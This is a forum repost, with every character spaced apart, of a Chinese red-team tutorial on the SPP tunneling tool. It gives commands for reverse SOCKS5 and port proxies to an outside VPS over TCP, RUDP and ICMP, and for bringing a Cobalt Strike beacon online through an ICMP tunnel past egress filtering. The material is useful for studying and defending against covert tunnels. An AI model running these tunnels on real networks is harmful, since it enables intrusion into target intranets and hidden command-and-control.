搜索

[22227] 2021-08-06_内网隧道工具SPP尝鲜

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-08-06_内网隧道工具SPP尝鲜 内 网 隧 道 工 具 S P P 尝 鲜 L e m o n S e c   2 0 2 1 - 0 8 - 0 6 前 言 前 言 平 常 演 练 常 用 的 一 些 隧 道 工 具 像 f r p ， n p s 在 目 标 出 网 的 情 况 下 还 是 比 较 好 用 的 。 但 是 一 旦 遇 到 一 些 比 较 恶 劣 的 环 境 ， 比 如 只 有 i c m p 可 以 出 网 的 情 况 ， 那 就 需 要 使 用 其 他 的 工 具 像 p i n g t u n n e l ， p t u n n e l 等 。 看 到 S P P 这 款 工 具 介 绍 的 时 候 三 个 特 点 引 起 了 我 的 注 意 ： 1 .   支 持 i c m p 、 k c p 、 q u i c 2 .   支 持 双 向 的 代 理 3 .   可 以 自 由 进 行 内 部 外 协 议 的 组 合 通 过 一 个 工 具 基 本 可 以 满 足 演 练 过 程 中 打 隧 道 的 要 求 （ 可 惜 不 支 持 d n s 协 议 ） 这 篇 文 章 主 要 是 自 己 研 究 该 工 具 如 何 使 用 的 过 程 工 具 简 介 工 具 简 介 支 持 的 协 议 ： t c p 、 u d p 、 r u d p ( 可 靠 u d p ) 、 r i c m p ( 可 靠 i c m p ) 、 r h t t p ( 可 靠 h t t p ) 、 k c p 、 q u i c 支 持 的 类 型 ： 正 向 代 理 、 反 向 代 理 、 s o c k s 5 正 向 代 理 、 s o c k s 5 反 向 代 理 协 议 和 类 型 可 以 自 由 组 合 外 部 代 理 协 议 和 内 部 转 发 协 议 可 以 自 由 组 合 命 令 解 释 命 令 解 释 - c o m p r e s s   i n t s t a r t   c o m p r e s s   s i z e ,   0   m e a n s   o f f   ( d e f a u l t   1 2 8 ) - e n c r y p t   s t r i n g e n c r y p t   k e y ,   e m p t y   m e a n s   o f f   ( d e f a u l t   " d e f a u l t " ) - f r o m a d d r   v a l u e f r o m   a d d r - k e y   s t r i n g v e r i f y   k e y   ( d e f a u l t   " 1 2 3 4 5 6 " ) - l i s t e n   v a l u e s e r v e r   l i s t e n   a d d r - l o g l e v e l   s t r i n g l o g   l e v e l   ( d e f a u l t   " i n f o " ) - m a x c l i e n t   i n t
m a x   c l i e n t   c o n n e c t i o n   ( d e f a u l t   8 ) - m a x c o n n   i n t m a x   c o n n e c t i o n   ( d e f a u l t   1 2 8 ) - n a m e   s t r i n g c l i e n t   n a m e   ( d e f a u l t   " c l i e n t " ) - n o l o g   i n t w r i t e   l o g   f i l e - n o p r i n t   i n t p r i n t   s t d o u t - p a s s w o r d   s t r i n g s o c k s 5   p a s s w o r d - p i n g s h o w   p i n g - p r o f i l e   i n t o p e n   p r o f i l e - p r o t o   v a l u e m a i n   p r o t o   t y p e :   [ t c p   r u d p   r i c m p   k c p   q u i c   r h t t p ] - p r o x y p r o t o   v a l u e p r o x y   p r o t o   t y p e :   [ t c p   r u d p   r i c m p   k c p   q u i c   r h t t p   u d p ] - s e r v e r   s t r i n g s e r v e r   a d d r - t o a d d r   v a l u e t o   a d d r - t y p e   s t r i n g t y p e :   s e r v e r / p r o x y _ c l i e n t / r e v e r s e _ p r o x y _ c l i e n t / s o c k s 5 _ c l i e n t / r e v e r s e _ s o c k s 5 _ c l i e n t - u s e r n a m e   s t r i n g s o c k s 5   u s e r n a m e S e r v e r 基 本 用 法 基 本 用 法 在 v p s 的 8 8 8 8 端 口 开 启 t c p 流 量 监 听 通 过 修 改 - p r o t o 参 数 可 以 自 主 选 择 监 听 流 量 协 议 类 型 这 里 需 要 注 意 ， r i c m p 协 议 无 需 设 置 端 口 s p p   - t y p e   s e r v e r   - p r o t o   t c p   - l i s t e n   : 8 8 8 8
可 以 使 用 一 条 命 令 在 不 同 端 口 监 听 不 同 协 议 C l i e n t 基 本 用 法 基 本 用 法 实 验 都 以 t c p 协 议 进 行 ， S e r v e r 端 监 听 8 8 8 8 端 口 。 实 战 中 只 需 要 修 改 p r o x y p r o t o 参 数 就 可 以 转 换 协 议 正 向 代 理 端 口 正 向 代 理 端 口 将 v p s 的 8 9 9 9 端 口 代 理 至 本 机 8 0 8 0 访 问 本 地 8 0 8 0 端 口 相 当 于 访 问 v p s 8 9 9 9 端 口 反 向 代 理 端 口 反 向 代 理 端 口 将 本 机 器 8 0 端 口 代 理 至 v p s 的 8 9 9 8 端 口 访 问 v p s 的 8 9 9 8 相 当 于 访 问 本 机 8 0 正 向 正 向 s o c k s 5 代 理 代 理 s p p   - t y p e   s e r v e r   - p r o t o   r i c m p   - l i s t e n   0 . 0 . 0 . 0 s p p   - t y p e   s e r v e r   - p r o t o   t c p   - l i s t e n   : 8 8 8 8   - p r o t o   r u d p   - l i s t e n   : 9 9 9 9   - p r o t o   r i c m p   - l i s t e n   0 . 0 . 0 . 0 s p p   - n a m e   " t e s t "   - t y p e   p r o x y _ c l i e n t   - s e r v e r   v p s : 8 8 8 8   - f r o m a d d r   : 8 0 8 0   - t o a d d r   : 8 9 9 9   - p r o x y p r o t o   t c p s p p   - n a m e   " t e s t "   - t y p e   r e v e r s e _ p r o x y _ c l i e n t   - s e r v e r   v p s : 8 8 8 8   - f r o m a d d r   : 8 9 9 8   - t o a d d r   : 8 0   - p r o x y p r o t o   t c p
代 理 至 s e r v e r 网 络 环 境 下 挂 代 理   s o c k s 5 : 1 2 7 . 0 . 0 . 1 : 8 0 8 0 查 询 当 前 i p 为 v p s ， 已 进 入 v p s 网 络 环 境 反 向 反 向 s o c k s 5 代 理 代 理 代 理 至 c l i e n t 网 络 环 境 下 挂 代 理   s o c k s 5 : v p s : 8 0 8 0 查 询 当 前 i p 为 c l i e n t ， 已 进 入 c l i e n t 网 络 环 境 s p p   - n a m e   " t e s t "   - t y p e   s o c k s 5 _ c l i e n t   - s e r v e r   v p s : 8 8 8 8   - f r o m a d d r   : 8 0 8 0   - p r o x y p r o t o   t c p s p p   - n a m e   " t e s t "   - t y p e   r e v e r s e _ s o c k s 5 _ c l i e n t   - s e r v e r   v p s : 8 8 8 8   - f r o m a d d r   : 8 0 8 0   - p r o x y p r o t o   t c p
内 外 部 协 议 封 装 内 外 部 协 议 封 装 该 功 能 支 持 各 种 协 议 的 嵌 套 使 用 ， 可 使 用 于 各 种 内 网 极 端 环 境 。 只 需 要 使 用 p r o t o 参 数 指 定 外 部 转 发 协 议 即 可 。 这 里 举 例 ， 使 用 u d p 协 议 做 转 发 ， 内 部 封 装 t c p S e r v e r 监 听 u d p C l i e n t 外 部 使 用 u d p 连 接 ， 内 部 封 装 t c p 进 行 正 向 代 理 转 发 端 口 正 常 访 问 查 看 数 据 包 s p p   - t y p e   s e r v e r   - p r o t o   r u d p   - l i s t e n   : 8 8 8 8 s p p   - n a m e   " t e s t "   - t y p e   p r o x y _ c l i e n t   - s e r v e r   v p s : 8 8 8 8   - f r o m a d d r   : 8 0 8 0   - t o a d d r   : 8 9 9 9   - p r o x y p r o t o   t c p   - p r o t o   r u d p
实 战 场 景 应 用 实 战 场 景 应 用 在 对 抗 项 目 中 有 遇 到 过 一 些 极 端 环 境 ， 比 如 目 标 封 了 t c p ， h t t p 等 常 用 出 网 的 协 议 ， 但 是 i c m p ， d n s 等 协 议 可 能 因 为 业 务 需 要 或 者 管 理 者 安 全 意 识 不 到 位 导 致 没 有 封 干 净 。 在 这 种 场 景 下 就 可 以 使 用 这 些 容 易 被 忽 视 的 协 议 进 行 隧 道 的 搭 建 。 I C M P + 反 向 反 向 s o c k s 代 理 代 理 S e r v e r C l i e n t 挂 代 理 s o c k s 5 : v p s : 8 0 8 0 查 看 当 前 i p 为 c l i e n t 出 口 地 址 ， 已 进 入 c l i e n t 网 络 环 境 s p p   - t y p e   s e r v e r   - p r o t o   r i c m p   - l i s t e n   0 . 0 . 0 . 0 . / s p p   - n a m e   " t e s t "   - t y p e   r e v e r s e _ s o c k s 5 _ c l i e n t   - s e r v e r   v p s   - f r o m a d d r   : 8 0 8 0   - p r o x y p r o t o   t c p   - p r o t o   r i c m p
I C M P + c o b a l t s t r i k e S e r v e r 反 向 代 理 用 于 进 入 目 标 内 网 ， 正 向 代 理 可 配 合 远 控 工 具 进 行 上 线 。 C l i e n t s p p   - t y p e   s e r v e r   - p r o t o   r i c m p   - l i s t e n   0 . 0 . 0 . 0 s p p   - n a m e   " t e s t "   - t y p e   p r o x y _ c l i e n t   - s e r v e r   v p s   - f r o m a d d r   : 8 0 8 2   - t o a d d r   : 8 0 8 1   - p r o x y p r o t o   t c p   - p r o t o   r i c m p
配 置 一 个 h t t p   b e a c o n ， 下 面 填 c 2 的 地 址 ， 监 听 8 0 8 1 端 口 再 起 一 个 本 地 监 听 的 h t t p   b e a c o n ， 监 听 本 地 8 0 8 2
使 用 i c m p 成 功 上 线 作 者 ： x l x x l x ， 文 章 来 源 于 先 知 社 区
反 弹 s h e l l 汇 总 渗 透 测 试 中 字 典 生 成 工 具 快 速 检 测 常 见 中 间 件 、 组 件 的 高 危 漏 洞 一 个 迷 你 的 信 息 泄 漏 批 量 扫 描 脚 本 信 息 收 集 | 漏 洞 挖 掘 ｜ 内 网 打 穿 ｜ 清 理 痕 迹 常 用 工 具   列 表 w e b s h e l l 大 合 集 K 8 工 具 合 集 S t r u t s 2 全 漏 洞 扫 描 利 用 工 具 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理